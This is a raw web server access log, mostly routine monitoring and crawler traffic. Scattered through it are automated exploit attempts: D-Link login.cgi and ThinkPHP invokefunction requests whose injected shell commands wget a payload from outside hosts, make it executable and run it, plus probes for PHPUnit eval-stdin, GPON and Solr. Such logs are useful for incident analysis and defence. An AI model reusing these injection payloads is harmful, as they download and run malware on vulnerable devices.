5.101.0.209 - - [26/Feb/2020:18:57:14 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.183.205.111 - - [26/Feb/2020:18:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:18:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:18:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [26/Feb/2020:19:00:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [26/Feb/2020:19:00:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [26/Feb/2020:19:00:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [26/Feb/2020:19:00:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:19:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [26/Feb/2020:19:01:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:19:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.252.0.56 - - [26/Feb/2020:19:05:35 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01724933 Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E302"
212.91.246.72 - - [26/Feb/2020:19:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.93.24.249 - - [26/Feb/2020:19:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
201.93.24.249 - - [26/Feb/2020:19:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:19:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.44.241.183 - - [26/Feb/2020:19:15:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.10.247.48 - - [26/Feb/2020:19:18:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.40.225.123 - - [26/Feb/2020:19:20:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.217.154.106 - - [26/Feb/2020:19:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:19:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.166.120.121 - - [26/Feb/2020:19:23:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.52.142 - - [26/Feb/2020:19:24:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [26/Feb/2020:19:25:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
124.47.8.10 - - [26/Feb/2020:19:25:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:19:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.241.80.219 - - [26/Feb/2020:19:26:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.84.62.111 - - [26/Feb/2020:19:28:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.150 - - [26/Feb/2020:19:30:20 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.150 - - [26/Feb/2020:19:30:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
110.155.63.8 - - [26/Feb/2020:19:30:30 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
212.91.246.72 - - [26/Feb/2020:19:30:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:31:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:32:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:33:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:34:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:35:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:36:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.201 - - [26/Feb/2020:19:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:19:37:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.58.231.31 - - [26/Feb/2020:19:38:41 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
222.82.61.27 - - [26/Feb/2020:19:38:42 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.161 - - [26/Feb/2020:19:38:42 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
119.39.46.207 - - [26/Feb/2020:19:38:43 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
36.248.89.101 - - [26/Feb/2020:19:38:44 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
1.202.114.14 - - [26/Feb/2020:19:38:45 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.249.103.190 - - [26/Feb/2020:19:38:45 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.158.184 - - [26/Feb/2020:19:38:48 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.11.5.62 - - [26/Feb/2020:19:38:49 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:19:38:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.45.1.106 - - [26/Feb/2020:19:38:49 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [26/Feb/2020:19:39:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.70.31 - - [26/Feb/2020:19:40:35 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.70.27 - - [26/Feb/2020:19:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:19:40:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:41:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:42:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.143.158.178 - - [26/Feb/2020:19:44:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
79.31.85.104 - - [26/Feb/2020:19:44:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:19:44:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.3.69 - - [26/Feb/2020:19:47:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.216.147.53 - - [26/Feb/2020:19:49:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:19:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [26/Feb/2020:19:49:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [26/Feb/2020:19:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.220.234.71 - - [26/Feb/2020:19:56:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:19:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.250.111 - - [26/Feb/2020:19:57:59 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.74.250.111 - - [26/Feb/2020:19:57:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [26/Feb/2020:19:58:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:19:59:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:00:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:01:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [26/Feb/2020:20:03:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [26/Feb/2020:20:03:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [26/Feb/2020:20:03:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [26/Feb/2020:20:03:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:20:03:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:04:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:05:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:06:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:07:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:08:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:10:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:12:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.62.132.20 - - [26/Feb/2020:20:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:20:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:14:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:15:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [26/Feb/2020:20:16:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [26/Feb/2020:20:16:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:17:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:18:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:19:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:20:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:21:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.222.24.11 - - [26/Feb/2020:20:23:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:20:24:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.199.118.136 - - [26/Feb/2020:20:25:07 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:20:25:07 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
91.199.118.136 - - [26/Feb/2020:20:25:08 +0100] "GET http://51.77.91.132:1923/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
212.91.246.72 - - [26/Feb/2020:20:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:26:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:20:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [26/Feb/2020:20:28:29 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
70.105.222.173 - - [26/Feb/2020:20:28:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:20:28:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
